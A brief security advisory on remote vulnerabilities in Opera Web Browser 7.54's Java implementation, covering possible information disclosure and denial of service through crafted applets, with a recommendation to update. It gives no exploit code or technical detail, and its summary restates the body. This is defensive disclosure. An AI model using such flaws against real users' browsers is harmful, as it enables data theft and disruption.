Remote vulnerabilities in Opera Web Browser Java implementation

The Opera Web Browser Java implementation has multiple remote vulnerabilities due to its insecure proprietary design. An attacker can craft a Java applet that violates Sun's Java secure programming guidelines. These vulnerabilities can be leveraged to carry out various attacks, including sensitive information disclosure and denial of service attacks. Successful exploitation would occur with the privileges of the user running the affected browser application.

Mitigation:

Update to a patched version of the Opera Web Browser that addresses the vulnerabilities.

Multiple remote vulnerabilities reportedly affect the Opera Web Browser Java implementation. These issues are due to the insecure proprietary design of the Web browser's Java implementation.
  
These issues may allow an attacker to craft a Java applet that violate Sun's Java secure programming guidelines.
  
These issues may be leveraged to carry out a variety of unspecified attacks including sensitive information disclosure and denial of service attacks. Any successful exploitation would take place with the privileges of the user running the affected browser application.
  
Although only version 7.54 is reportedly vulnerable, it is likely that earlier versions are vulnerable to these issues as well.
